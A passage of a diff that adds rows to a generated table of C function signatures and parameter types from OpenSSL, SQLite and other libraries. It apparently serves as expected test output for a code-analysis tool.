+| (const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *) | | test_BN_gt | 1 | int | +| (const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *) | | test_BN_gt | 2 | const char * | +| (const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *) | | test_BN_gt | 3 | const char * | +| (const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *) | | test_BN_gt | 4 | const BIGNUM * | +| (const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *) | | test_BN_gt | 5 | const BIGNUM * | +| (const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *) | | test_BN_le | 0 | const char * | +| (const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *) | | test_BN_le | 1 | int | +| (const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *) | | test_BN_le | 2 | const char * | +| (const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *) | | test_BN_le | 3 | const char * | +| (const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *) | | test_BN_le | 4 | const BIGNUM * | +| (const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *) | | test_BN_le | 5 | const BIGNUM * | +| (const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *) | | test_BN_lt | 0 | const char * | +| (const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *) | | test_BN_lt | 1 | int | +| (const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *) | | test_BN_lt | 2 | const char * | +| (const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *) | | test_BN_lt | 3 | const char * | +| (const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *) | | test_BN_lt | 4 | const BIGNUM * | +| (const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *) | | test_BN_lt | 5 | const BIGNUM * | +| (const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *) | | test_BN_ne | 0 | const char * | +| (const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *) | | test_BN_ne | 1 | int | +| (const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *) | | test_BN_ne | 2 | const char * | +| (const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *) | | test_BN_ne | 3 | const char * | +| (const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *) | | test_BN_ne | 4 | const BIGNUM * | +| (const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *) | | test_BN_ne | 5 | const BIGNUM * | +| (const char *,int,const char *,const char *,const BIGNUM *,unsigned long) | | test_BN_eq_word | 0 | const char * | +| (const char *,int,const char *,const char *,const BIGNUM *,unsigned long) | | test_BN_eq_word | 1 | int | +| (const char *,int,const char *,const char *,const BIGNUM *,unsigned long) | | test_BN_eq_word | 2 | const char * | +| (const char *,int,const char *,const char *,const BIGNUM *,unsigned long) | | test_BN_eq_word | 3 | const char * | +| (const char *,int,const char *,const char *,const BIGNUM *,unsigned long) | | test_BN_eq_word | 4 | const BIGNUM * | +| (const char *,int,const char *,const char *,const BIGNUM *,unsigned long) | | test_BN_eq_word | 5 | unsigned long | +| (const char *,int,int,..(*)(..),void *) | | CONF_parse_list | 0 | const char * | +| (const char *,int,int,..(*)(..),void *) | | CONF_parse_list | 1 | int | +| (const char *,int,int,..(*)(..),void *) | | CONF_parse_list | 2 | int | +| (const char *,int,int,..(*)(..),void *) | | CONF_parse_list | 3 | ..(*)(..) | +| (const char *,int,int,..(*)(..),void *) | | CONF_parse_list | 4 | void * | +| (const char *,int,int,const char *,const char *,int,EVP_PKEY **,EVP_PKEY **,EVP_PKEY **,X509 **,stack_st_X509 **,X509_CRL **,stack_st_X509_CRL **) | | load_key_certs_crls | 0 | const char * | +| (const char *,int,int,const char *,const char *,int,EVP_PKEY **,EVP_PKEY **,EVP_PKEY **,X509 **,stack_st_X509 **,X509_CRL **,stack_st_X509_CRL **) | | load_key_certs_crls | 1 | int | +| (const char *,int,int,const char *,const char *,int,EVP_PKEY **,EVP_PKEY **,EVP_PKEY **,X509 **,stack_st_X509 **,X509_CRL **,stack_st_X509_CRL **) | | load_key_certs_crls | 2 | int | +| (const char *,int,int,const char *,const char *,int,EVP_PKEY **,EVP_PKEY **,EVP_PKEY **,X509 **,stack_st_X509 **,X509_CRL **,stack_st_X509_CRL **) | | load_key_certs_crls | 3 | const char * | +| (const char *,int,int,const char *,const char *,int,EVP_PKEY **,EVP_PKEY **,EVP_PKEY **,X509 **,stack_st_X509 **,X509_CRL **,stack_st_X509_CRL **) | | load_key_certs_crls | 4 | const char * | +| (const char *,int,int,const char *,const char *,int,EVP_PKEY **,EVP_PKEY **,EVP_PKEY **,X509 **,stack_st_X509 **,X509_CRL **,stack_st_X509_CRL **) | | load_key_certs_crls | 5 | int | +| (const char *,int,int,const char *,const char *,int,EVP_PKEY **,EVP_PKEY **,EVP_PKEY **,X509 **,stack_st_X509 **,X509_CRL **,stack_st_X509_CRL **) | | load_key_certs_crls | 6 | EVP_PKEY ** | +| (const char *,int,int,const char *,const char *,int,EVP_PKEY **,EVP_PKEY **,EVP_PKEY **,X509 **,stack_st_X509 **,X509_CRL **,stack_st_X509_CRL **) | | load_key_certs_crls | 7 | EVP_PKEY ** | +| (const char *,int,int,const char *,const char *,int,EVP_PKEY **,EVP_PKEY **,EVP_PKEY **,X509 **,stack_st_X509 **,X509_CRL **,stack_st_X509_CRL **) | | load_key_certs_crls | 8 | EVP_PKEY ** | +| (const char *,int,int,const char *,const char *,int,EVP_PKEY **,EVP_PKEY **,EVP_PKEY **,X509 **,stack_st_X509 **,X509_CRL **,stack_st_X509_CRL **) | | load_key_certs_crls | 9 | X509 ** | +| (const char *,int,int,const char *,const char *,int,EVP_PKEY **,EVP_PKEY **,EVP_PKEY **,X509 **,stack_st_X509 **,X509_CRL **,stack_st_X509_CRL **) | | load_key_certs_crls | 10 | stack_st_X509 ** | +| (const char *,int,int,const char *,const char *,int,EVP_PKEY **,EVP_PKEY **,EVP_PKEY **,X509 **,stack_st_X509 **,X509_CRL **,stack_st_X509_CRL **) | | load_key_certs_crls | 11 | X509_CRL ** | +| (const char *,int,int,const char *,const char *,int,EVP_PKEY **,EVP_PKEY **,EVP_PKEY **,X509 **,stack_st_X509 **,X509_CRL **,stack_st_X509_CRL **) | | load_key_certs_crls | 12 | stack_st_X509_CRL ** | +| (const char *,int,int,int) | | append_str | 0 | const char * | +| (const char *,int,int,int) | | append_str | 1 | int | +| (const char *,int,int,int) | | append_str | 2 | int | +| (const char *,int,int,int) | | append_str | 3 | int | +| (const char *,int,long) | | zSkipValidUtf8 | 0 | const char * | +| (const char *,int,long) | | zSkipValidUtf8 | 1 | int | +| (const char *,int,long) | | zSkipValidUtf8 | 2 | long | +| (const char *,int,stack_st_CONF_VALUE **) | | X509V3_add_value_bool | 0 | const char * | +| (const char *,int,stack_st_CONF_VALUE **) | | X509V3_add_value_bool | 1 | int | +| (const char *,int,stack_st_CONF_VALUE **) | | X509V3_add_value_bool | 2 | stack_st_CONF_VALUE ** | +| (const char *,int,stack_st_CONF_VALUE **) | | X509V3_add_value_bool_nf | 0 | const char * | +| (const char *,int,stack_st_CONF_VALUE **) | | X509V3_add_value_bool_nf | 1 | int | +| (const char *,int,stack_st_CONF_VALUE **) | | X509V3_add_value_bool_nf | 2 | stack_st_CONF_VALUE ** | +| (const char *,int,stack_st_OPENSSL_STRING *,const char *) | | load_csr_autofmt | 0 | const char * | +| (const char *,int,stack_st_OPENSSL_STRING *,const char *) | | load_csr_autofmt | 1 | int | +| (const char *,int,stack_st_OPENSSL_STRING *,const char *) | | load_csr_autofmt | 2 | stack_st_OPENSSL_STRING * | +| (const char *,int,stack_st_OPENSSL_STRING *,const char *) | | load_csr_autofmt | 3 | const char * | +| (const char *,int,stack_st_X509 **,const char *,const char *) | | load_certs | 0 | const char * | +| (const char *,int,stack_st_X509 **,const char *,const char *) | | load_certs | 1 | int | +| (const char *,int,stack_st_X509 **,const char *,const char *) | | load_certs | 2 | stack_st_X509 ** | +| (const char *,int,stack_st_X509 **,const char *,const char *) | | load_certs | 3 | const char * | +| (const char *,int,stack_st_X509 **,const char *,const char *) | | load_certs | 4 | const char * | +| (const char *,int,unsigned char **,int *) | | OPENSSL_asc2uni | 0 | const char * | +| (const char *,int,unsigned char **,int *) | | OPENSSL_asc2uni | 1 | int | +| (const char *,int,unsigned char **,int *) | | OPENSSL_asc2uni | 2 | unsigned char ** | +| (const char *,int,unsigned char **,int *) | | OPENSSL_asc2uni | 3 | int * | +| (const char *,int,unsigned char **,int *) | | OPENSSL_utf82uni | 0 | const char * | +| (const char *,int,unsigned char **,int *) | | OPENSSL_utf82uni | 1 | int | +| (const char *,int,unsigned char **,int *) | | OPENSSL_utf82uni | 2 | unsigned char ** | +| (const char *,int,unsigned char **,int *) | | OPENSSL_utf82uni | 3 | int * | +| (const char *,long *) | | OSSL_PARAM_construct_long | 0 | const char * | +| (const char *,long *) | | OSSL_PARAM_construct_long | 1 | long * | +| (const char *,long *) | | opt_long | 0 | const char * | +| (const char *,long *) | | opt_long | 1 | long * | +| (const char *,long *,char *) | | OCSP_crlID_new | 0 | const char * | +| (const char *,long *,char *) | | OCSP_crlID_new | 1 | long * | +| (const char *,long *,char *) | | OCSP_crlID_new | 2 | char * | +| (const char *,long *,int) | | Jim_StringToWide | 0 | const char * | +| (const char *,long *,int) | | Jim_StringToWide | 1 | long * | +| (const char *,long *,int) | | Jim_StringToWide | 2 | int | +| (const char *,size_t *) | | OSSL_PARAM_construct_size_t | 0 | const char * | +| (const char *,size_t *) | | OSSL_PARAM_construct_size_t | 1 | size_t * | +| (const char *,size_t) | | OPENSSL_strnlen | 0 | const char * | +| (const char *,size_t) | | OPENSSL_strnlen | 1 | size_t | +| (const char *,size_t,const char *,int) | | CRYPTO_strndup | 0 | const char * | +| (const char *,size_t,const char *,int) | | CRYPTO_strndup | 1 | size_t | +| (const char *,size_t,const char *,int) | | CRYPTO_strndup | 2 | const char * | +| (const char *,size_t,const char *,int) | | CRYPTO_strndup | 3 | int | +| (const char *,sqlite3 **,int,const char *) | | sqlite3_open_v2 | 0 | const char * | +| (const char *,sqlite3 **,int,const char *) | | sqlite3_open_v2 | 1 | sqlite3 ** | +| (const char *,sqlite3 **,int,const char *) | | sqlite3_open_v2 | 2 | int | +| (const char *,sqlite3 **,int,const char *) | | sqlite3_open_v2 | 3 | const char * | +| (const char *,sqlite3_filename) | | sqlite3_filename_database | 0 | const char * | +| (const char *,sqlite3_filename) | | sqlite3_filename_database | 1 | sqlite3_filename | +| (const char *,sqlite3_filename) | | sqlite3_filename_journal | 0 | const char * | +| (const char *,sqlite3_filename) | | sqlite3_filename_journal | 1 | sqlite3_filename | +| (const char *,sqlite3_filename) | | sqlite3_filename_wal | 0 | const char * | +| (const char *,sqlite3_filename) | | sqlite3_filename_wal | 1 | sqlite3_filename | +| (const char *,sqlite3_filename) | | sqlite3_free_filename | 0 | const char * | +| (const char *,sqlite3_filename) | | sqlite3_free_filename | 1 | sqlite3_filename | +| (const char *,sqlite3_filename,const char *) | | sqlite3_uri_parameter | 0 | const char * | +| (const char *,sqlite3_filename,const char *) | | sqlite3_uri_parameter | 1 | sqlite3_filename | +| (const char *,sqlite3_filename,const char *) | | sqlite3_uri_parameter | 2 | const char * | +| (const char *,sqlite3_filename,const char *,int) | | sqlite3_uri_boolean | 0 | const char * | +| (const char *,sqlite3_filename,const char *,int) | | sqlite3_uri_boolean | 1 | sqlite3_filename | +| (const char *,sqlite3_filename,const char *,int) | | sqlite3_uri_boolean | 2 | const char * | +| (const char *,sqlite3_filename,const char *,int) | | sqlite3_uri_boolean | 3 | int | +| (const char *,sqlite3_filename,const char *,sqlite3_int64) | | sqlite3_uri_int64 | 0 | const char * | +| (const char *,sqlite3_filename,const char *,sqlite3_int64) | | sqlite3_uri_int64 | 1 | sqlite3_filename | +| (const char *,sqlite3_filename,const char *,sqlite3_int64) | | sqlite3_uri_int64 | 2 | const char * | +| (const char *,sqlite3_filename,const char *,sqlite3_int64) | | sqlite3_uri_int64 | 3 | sqlite3_int64 | +| (const char *,sqlite3_filename,int) | | sqlite3_uri_key | 0 | const char * | +| (const char *,sqlite3_filename,int) | | sqlite3_uri_key | 1 | sqlite3_filename | +| (const char *,sqlite3_filename,int) | | sqlite3_uri_key | 2 | int | +| (const char *,stack_st_X509_CRL **,const char *,const char *) | | load_crls | 0 | const char * | +| (const char *,stack_st_X509_CRL **,const char *,const char *) | | load_crls | 1 | stack_st_X509_CRL ** | +| (const char *,stack_st_X509_CRL **,const char *,const char *) | | load_crls | 2 | const char * | +| (const char *,stack_st_X509_CRL **,const char *,const char *) | | load_crls | 3 | const char * | +| (const char *,time_t *) | | OSSL_PARAM_construct_time_t | 0 | const char * | +| (const char *,time_t *) | | OSSL_PARAM_construct_time_t | 1 | time_t * | +| (const char *,uint32_t *) | | OSSL_PARAM_construct_uint32 | 0 | const char * | +| (const char *,uint32_t *) | | OSSL_PARAM_construct_uint32 | 1 | uint32_t * | +| (const char *,uint64_t *) | | OSSL_PARAM_construct_uint64 | 0 | const char * | +| (const char *,uint64_t *) | | OSSL_PARAM_construct_uint64 | 1 | uint64_t * | +| (const char *,unsigned char *,size_t) | | OSSL_PARAM_construct_BN | 0 | const char * | +| (const char *,unsigned char *,size_t) | | OSSL_PARAM_construct_BN | 1 | unsigned char * | +| (const char *,unsigned char *,size_t) | | OSSL_PARAM_construct_BN | 2 | size_t | +| (const char *,unsigned int *) | | OSSL_PARAM_construct_uint | 0 | const char * | +| (const char *,unsigned int *) | | OSSL_PARAM_construct_uint | 1 | unsigned int * | +| (const char *,unsigned long *) | | OSSL_PARAM_construct_ulong | 0 | const char * | +| (const char *,unsigned long *) | | OSSL_PARAM_construct_ulong | 1 | unsigned long * | +| (const char *,unsigned long *) | | opt_ulong | 0 | const char * | +| (const char *,unsigned long *) | | opt_ulong | 1 | unsigned long * | +| (const char *,va_list) | | sqlite3_vmprintf | 0 | const char * | +| (const char *,va_list) | | sqlite3_vmprintf | 1 | va_list | +| (const char *,va_list) | | test_vprintf_stderr | 0 | const char * | +| (const char *,va_list) | | test_vprintf_stderr | 1 | va_list | +| (const char *,va_list) | | test_vprintf_stdout | 0 | const char * | +| (const char *,va_list) | | test_vprintf_stdout | 1 | va_list | +| (const char *,va_list) | | test_vprintf_taperr | 0 | const char * | +| (const char *,va_list) | | test_vprintf_taperr | 1 | va_list | +| (const char *,va_list) | | test_vprintf_tapout | 0 | const char * | +| (const char *,va_list) | | test_vprintf_tapout | 1 | va_list | +| (const char *,void *) | | collect_names | 0 | const char * | +| (const char *,void *) | | collect_names | 1 | void * | +| (const char *,void **,size_t) | | OSSL_PARAM_construct_octet_ptr | 0 | const char * | +| (const char *,void **,size_t) | | OSSL_PARAM_construct_octet_ptr | 1 | void ** | +| (const char *,void **,size_t) | | OSSL_PARAM_construct_octet_ptr | 2 | size_t | +| (const char *,void *,size_t) | | OSSL_PARAM_construct_octet_string | 0 | const char * | +| (const char *,void *,size_t) | | OSSL_PARAM_construct_octet_string | 1 | void * | +| (const char *,void *,size_t) | | OSSL_PARAM_construct_octet_string | 2 | size_t | +| (const char *const *,const char *const *) | | name_cmp | 0 | const char *const * | +| (const char *const *,const char *const *) | | name_cmp | 1 | const char *const * | +| (const curve448_point_t) | | ossl_curve448_point_valid | 0 | const curve448_point_t | +| (const custom_ext_methods *,ENDPOINT,unsigned int,size_t *) | | custom_ext_find | 0 | const custom_ext_methods * | +| (const custom_ext_methods *,ENDPOINT,unsigned int,size_t *) | | custom_ext_find | 1 | ENDPOINT | +| (const custom_ext_methods *,ENDPOINT,unsigned int,size_t *) | | custom_ext_find | 2 | unsigned int | +| (const custom_ext_methods *,ENDPOINT,unsigned int,size_t *) | | custom_ext_find | 3 | size_t * | | (const deque &) | deque | deque | 0 | const deque & | | (const deque &,const Allocator &) | deque | deque | 0 | const deque & | | (const deque &,const Allocator &) | deque | deque | 1 | const class:1 & | | (const forward_list &) | forward_list | forward_list | 0 | const forward_list & | | (const forward_list &,const Allocator &) | forward_list | forward_list | 0 | const forward_list & | | (const forward_list &,const Allocator &) | forward_list | forward_list | 1 | const class:1 & | +| (const gf) | | gf_hibit | 0 | const gf | +| (const gf) | | gf_lobit | 0 | const gf | +| (const gf,const gf) | | gf_eq | 0 | const gf | +| (const gf,const gf) | | gf_eq | 1 | const gf | +| (const int[],BIGNUM *) | | BN_GF2m_arr2poly | 0 | const int[] | +| (const int[],BIGNUM *) | | BN_GF2m_arr2poly | 1 | BIGNUM * | +| (const int_dhx942_dh *,unsigned char **) | | i2d_int_dhx | 0 | const int_dhx942_dh * | +| (const int_dhx942_dh *,unsigned char **) | | i2d_int_dhx | 1 | unsigned char ** | | (const list &) | list | list | 0 | const list & | | (const list &,const Allocator &) | list | list | 0 | const list & | | (const list &,const Allocator &) | list | list | 1 | const class:1 & | +| (const sqlite3_value *) | | sqlite3_value_dup | 0 | const sqlite3_value * | +| (const stack_st_SCT *,unsigned char **) | | i2d_SCT_LIST | 0 | const stack_st_SCT * | +| (const stack_st_SCT *,unsigned char **) | | i2d_SCT_LIST | 1 | unsigned char ** | +| (const stack_st_SCT *,unsigned char **) | | i2o_SCT_LIST | 0 | const stack_st_SCT * | +| (const stack_st_SCT *,unsigned char **) | | i2o_SCT_LIST | 1 | unsigned char ** | +| (const stack_st_X509 *) | | OSSL_CMP_ITAV_new_caCerts | 0 | const stack_st_X509 * | +| (const stack_st_X509 *,const stack_st_X509 *) | | STACK_OF_X509_cmp | 0 | const stack_st_X509 * | +| (const stack_st_X509 *,const stack_st_X509 *) | | STACK_OF_X509_cmp | 1 | const stack_st_X509 * | +| (const stack_st_X509_ATTRIBUTE *) | | X509at_get_attr_count | 0 | const stack_st_X509_ATTRIBUTE * | +| (const stack_st_X509_ATTRIBUTE *) | | ossl_x509at_dup | 0 | const stack_st_X509_ATTRIBUTE * | +| (const stack_st_X509_ATTRIBUTE *,const ASN1_OBJECT *,int) | | X509at_get_attr_by_OBJ | 0 | const stack_st_X509_ATTRIBUTE * | +| (const stack_st_X509_ATTRIBUTE *,const ASN1_OBJECT *,int) | | X509at_get_attr_by_OBJ | 1 | const ASN1_OBJECT * | +| (const stack_st_X509_ATTRIBUTE *,const ASN1_OBJECT *,int) | | X509at_get_attr_by_OBJ | 2 | int | +| (const stack_st_X509_ATTRIBUTE *,int) | | X509at_get_attr | 0 | const stack_st_X509_ATTRIBUTE * | +| (const stack_st_X509_ATTRIBUTE *,int) | | X509at_get_attr | 1 | int | +| (const stack_st_X509_ATTRIBUTE *,int,int) | | X509at_get_attr_by_NID | 0 | const stack_st_X509_ATTRIBUTE * | +| (const stack_st_X509_ATTRIBUTE *,int,int) | | X509at_get_attr_by_NID | 1 | int | +| (const stack_st_X509_ATTRIBUTE *,int,int) | | X509at_get_attr_by_NID | 2 | int | +| (const stack_st_X509_EXTENSION *) | | X509v3_get_ext_count | 0 | const stack_st_X509_EXTENSION * | +| (const stack_st_X509_EXTENSION *,const ASN1_OBJECT *,int) | | X509v3_get_ext_by_OBJ | 0 | const stack_st_X509_EXTENSION * | +| (const stack_st_X509_EXTENSION *,const ASN1_OBJECT *,int) | | X509v3_get_ext_by_OBJ | 1 | const ASN1_OBJECT * | +| (const stack_st_X509_EXTENSION *,const ASN1_OBJECT *,int) | | X509v3_get_ext_by_OBJ | 2 | int | +| (const stack_st_X509_EXTENSION *,int) | | X509v3_get_ext | 0 | const stack_st_X509_EXTENSION * | +| (const stack_st_X509_EXTENSION *,int) | | X509v3_get_ext | 1 | int | +| (const stack_st_X509_EXTENSION *,int,int *,int *) | | X509V3_get_d2i | 0 | const stack_st_X509_EXTENSION * | +| (const stack_st_X509_EXTENSION *,int,int *,int *) | | X509V3_get_d2i | 1 | int | +| (const stack_st_X509_EXTENSION *,int,int *,int *) | | X509V3_get_d2i | 2 | int * | +| (const stack_st_X509_EXTENSION *,int,int *,int *) | | X509V3_get_d2i | 3 | int * | +| (const stack_st_X509_EXTENSION *,int,int) | | X509v3_get_ext_by_NID | 0 | const stack_st_X509_EXTENSION * | +| (const stack_st_X509_EXTENSION *,int,int) | | X509v3_get_ext_by_NID | 1 | int | +| (const stack_st_X509_EXTENSION *,int,int) | | X509v3_get_ext_by_NID | 2 | int | +| (const stack_st_X509_EXTENSION *,int,int) | | X509v3_get_ext_by_critical | 0 | const stack_st_X509_EXTENSION * | +| (const stack_st_X509_EXTENSION *,int,int) | | X509v3_get_ext_by_critical | 1 | int | +| (const stack_st_X509_EXTENSION *,int,int) | | X509v3_get_ext_by_critical | 2 | int | +| (const stack_st_X509_NAME *) | | SSL_dup_CA_list | 0 | const stack_st_X509_NAME * | +| (const time_t *,tm *) | | OPENSSL_gmtime | 0 | const time_t * | +| (const time_t *,tm *) | | OPENSSL_gmtime | 1 | tm * | +| (const u128[16],uint8_t *,const uint8_t *,size_t) | | ossl_polyval_ghash_hash | 0 | const u128[16] | +| (const u128[16],uint8_t *,const uint8_t *,size_t) | | ossl_polyval_ghash_hash | 1 | uint8_t * | +| (const u128[16],uint8_t *,const uint8_t *,size_t) | | ossl_polyval_ghash_hash | 2 | const uint8_t * | +| (const u128[16],uint8_t *,const uint8_t *,size_t) | | ossl_polyval_ghash_hash | 3 | size_t | +| (const uint8_t *,SM4_KEY *) | | ossl_sm4_set_key | 0 | const uint8_t * | +| (const uint8_t *,SM4_KEY *) | | ossl_sm4_set_key | 1 | SM4_KEY * | +| (const uint8_t *,int,int,PROV_CTX *,const char *) | | ossl_ml_dsa_d2i_PKCS8 | 0 | const uint8_t * | +| (const uint8_t *,int,int,PROV_CTX *,const char *) | | ossl_ml_dsa_d2i_PKCS8 | 1 | int | +| (const uint8_t *,int,int,PROV_CTX *,const char *) | | ossl_ml_dsa_d2i_PKCS8 | 2 | int | +| (const uint8_t *,int,int,PROV_CTX *,const char *) | | ossl_ml_dsa_d2i_PKCS8 | 3 | PROV_CTX * | +| (const uint8_t *,int,int,PROV_CTX *,const char *) | | ossl_ml_dsa_d2i_PKCS8 | 4 | const char * | +| (const uint8_t *,int,int,PROV_CTX *,const char *) | | ossl_ml_dsa_d2i_PUBKEY | 0 | const uint8_t * | +| (const uint8_t *,int,int,PROV_CTX *,const char *) | | ossl_ml_dsa_d2i_PUBKEY | 1 | int | +| (const uint8_t *,int,int,PROV_CTX *,const char *) | | ossl_ml_dsa_d2i_PUBKEY | 2 | int | +| (const uint8_t *,int,int,PROV_CTX *,const char *) | | ossl_ml_dsa_d2i_PUBKEY | 3 | PROV_CTX * | +| (const uint8_t *,int,int,PROV_CTX *,const char *) | | ossl_ml_dsa_d2i_PUBKEY | 4 | const char * | +| (const uint8_t *,int,int,PROV_CTX *,const char *) | | ossl_ml_kem_d2i_PKCS8 | 0 | const uint8_t * | +| (const uint8_t *,int,int,PROV_CTX *,const char *) | | ossl_ml_kem_d2i_PKCS8 | 1 | int | +| (const uint8_t *,int,int,PROV_CTX *,const char *) | | ossl_ml_kem_d2i_PKCS8 | 2 | int | +| (const uint8_t *,int,int,PROV_CTX *,const char *) | | ossl_ml_kem_d2i_PKCS8 | 3 | PROV_CTX * | +| (const uint8_t *,int,int,PROV_CTX *,const char *) | | ossl_ml_kem_d2i_PKCS8 | 4 | const char * | +| (const uint8_t *,int,int,PROV_CTX *,const char *) | | ossl_ml_kem_d2i_PUBKEY | 0 | const uint8_t * | +| (const uint8_t *,int,int,PROV_CTX *,const char *) | | ossl_ml_kem_d2i_PUBKEY | 1 | int | +| (const uint8_t *,int,int,PROV_CTX *,const char *) | | ossl_ml_kem_d2i_PUBKEY | 2 | int | +| (const uint8_t *,int,int,PROV_CTX *,const char *) | | ossl_ml_kem_d2i_PUBKEY | 3 | PROV_CTX * | +| (const uint8_t *,int,int,PROV_CTX *,const char *) | | ossl_ml_kem_d2i_PUBKEY | 4 | const char * | +| (const uint8_t *,size_t) | | FuzzerTestOneInput | 0 | const uint8_t * | +| (const uint8_t *,size_t) | | FuzzerTestOneInput | 1 | size_t | +| (const uint8_t *,size_t) | | ossl_ed448_pubkey_verify | 0 | const uint8_t * | +| (const uint8_t *,size_t) | | ossl_ed448_pubkey_verify | 1 | size_t | +| (const uint8_t *,size_t,ML_KEM_KEY *) | | ossl_ml_kem_parse_private_key | 0 | const uint8_t * | +| (const uint8_t *,size_t,ML_KEM_KEY *) | | ossl_ml_kem_parse_private_key | 1 | size_t | +| (const uint8_t *,size_t,ML_KEM_KEY *) | | ossl_ml_kem_parse_private_key | 2 | ML_KEM_KEY * | +| (const uint8_t *,size_t,ML_KEM_KEY *) | | ossl_ml_kem_parse_public_key | 0 | const uint8_t * | +| (const uint8_t *,size_t,ML_KEM_KEY *) | | ossl_ml_kem_parse_public_key | 1 | size_t | +| (const uint8_t *,size_t,ML_KEM_KEY *) | | ossl_ml_kem_parse_public_key | 2 | ML_KEM_KEY * | +| (const uint8_t *,size_t,ML_KEM_KEY *) | | ossl_ml_kem_set_seed | 0 | const uint8_t * | +| (const uint8_t *,size_t,ML_KEM_KEY *) | | ossl_ml_kem_set_seed | 1 | size_t | +| (const uint8_t *,size_t,ML_KEM_KEY *) | | ossl_ml_kem_set_seed | 2 | ML_KEM_KEY * | +| (const uint8_t *,uint8_t *,const SM4_KEY *) | | ossl_sm4_decrypt | 0 | const uint8_t * | +| (const uint8_t *,uint8_t *,const SM4_KEY *) | | ossl_sm4_decrypt | 1 | uint8_t * | +| (const uint8_t *,uint8_t *,const SM4_KEY *) | | ossl_sm4_decrypt | 2 | const SM4_KEY * | +| (const uint8_t *,uint8_t *,const SM4_KEY *) | | ossl_sm4_encrypt | 0 | const uint8_t * | +| (const uint8_t *,uint8_t *,const SM4_KEY *) | | ossl_sm4_encrypt | 1 | uint8_t * | +| (const uint8_t *,uint8_t *,const SM4_KEY *) | | ossl_sm4_encrypt | 2 | const SM4_KEY * | +| (const unsigned char *) | | ossl_quic_vlint_decode_unchecked | 0 | const unsigned char * | | (const unsigned char *) | CStringT | CStringT | 0 | const unsigned char * | | (const unsigned char *) | CStringT | operator= | 0 | const unsigned char * | +| (const unsigned char **,long *,int *,int *,long) | | ASN1_get_object | 0 | const unsigned char ** | +| (const unsigned char **,long *,int *,int *,long) | | ASN1_get_object | 1 | long * | +| (const unsigned char **,long *,int *,int *,long) | | ASN1_get_object | 2 | int * | +| (const unsigned char **,long *,int *,int *,long) | | ASN1_get_object | 3 | int * | +| (const unsigned char **,long *,int *,int *,long) | | ASN1_get_object | 4 | long | +| (const unsigned char **,long) | | ASN1_const_check_infinite_end | 0 | const unsigned char ** | +| (const unsigned char **,long) | | ASN1_const_check_infinite_end | 1 | long | +| (const unsigned char **,long) | | b2i_PrivateKey | 0 | const unsigned char ** | +| (const unsigned char **,long) | | b2i_PrivateKey | 1 | long | +| (const unsigned char **,long) | | b2i_PublicKey | 0 | const unsigned char ** | +| (const unsigned char **,long) | | b2i_PublicKey | 1 | long | +| (const unsigned char **,long,OSSL_LIB_CTX *,const char *) | | ossl_d2i_X509_PUBKEY_INTERNAL | 0 | const unsigned char ** | +| (const unsigned char **,long,OSSL_LIB_CTX *,const char *) | | ossl_d2i_X509_PUBKEY_INTERNAL | 1 | long | +| (const unsigned char **,long,OSSL_LIB_CTX *,const char *) | | ossl_d2i_X509_PUBKEY_INTERNAL | 2 | OSSL_LIB_CTX * | +| (const unsigned char **,long,OSSL_LIB_CTX *,const char *) | | ossl_d2i_X509_PUBKEY_INTERNAL | 3 | const char * | +| (const unsigned char **,unsigned int,int *) | | ossl_b2i | 0 | const unsigned char ** | +| (const unsigned char **,unsigned int,int *) | | ossl_b2i | 1 | unsigned int | +| (const unsigned char **,unsigned int,int *) | | ossl_b2i | 2 | int * | +| (const unsigned char **,unsigned int,int) | | ossl_b2i_DSA_after_header | 0 | const unsigned char ** | +| (const unsigned char **,unsigned int,int) | | ossl_b2i_DSA_after_header | 1 | unsigned int | +| (const unsigned char **,unsigned int,int) | | ossl_b2i_DSA_after_header | 2 | int | +| (const unsigned char **,unsigned int,int) | | ossl_b2i_RSA_after_header | 0 | const unsigned char ** | +| (const unsigned char **,unsigned int,int) | | ossl_b2i_RSA_after_header | 1 | unsigned int | +| (const unsigned char **,unsigned int,int) | | ossl_b2i_RSA_after_header | 2 | int | +| (const unsigned char **,unsigned int,int,int *,unsigned int *,unsigned int *) | | ossl_do_PVK_header | 0 | const unsigned char ** | +| (const unsigned char **,unsigned int,int,int *,unsigned int *,unsigned int *) | | ossl_do_PVK_header | 1 | unsigned int | +| (const unsigned char **,unsigned int,int,int *,unsigned int *,unsigned int *) | | ossl_do_PVK_header | 2 | int | +| (const unsigned char **,unsigned int,int,int *,unsigned int *,unsigned int *) | | ossl_do_PVK_header | 3 | int * | +| (const unsigned char **,unsigned int,int,int *,unsigned int *,unsigned int *) | | ossl_do_PVK_header | 4 | unsigned int * | +| (const unsigned char **,unsigned int,int,int *,unsigned int *,unsigned int *) | | ossl_do_PVK_header | 5 | unsigned int * | +| (const unsigned char **,unsigned int,unsigned int *,unsigned int *,int *,int *) | | ossl_do_blob_header | 0 | const unsigned char ** | +| (const unsigned char **,unsigned int,unsigned int *,unsigned int *,int *,int *) | | ossl_do_blob_header | 1 | unsigned int | +| (const unsigned char **,unsigned int,unsigned int *,unsigned int *,int *,int *) | | ossl_do_blob_header | 2 | unsigned int * | +| (const unsigned char **,unsigned int,unsigned int *,unsigned int *,int *,int *) | | ossl_do_blob_header | 3 | unsigned int * | +| (const unsigned char **,unsigned int,unsigned int *,unsigned int *,int *,int *) | | ossl_do_blob_header | 4 | int * | +| (const unsigned char **,unsigned int,unsigned int *,unsigned int *,int *,int *) | | ossl_do_blob_header | 5 | int * | +| (const unsigned char *,DES_cblock 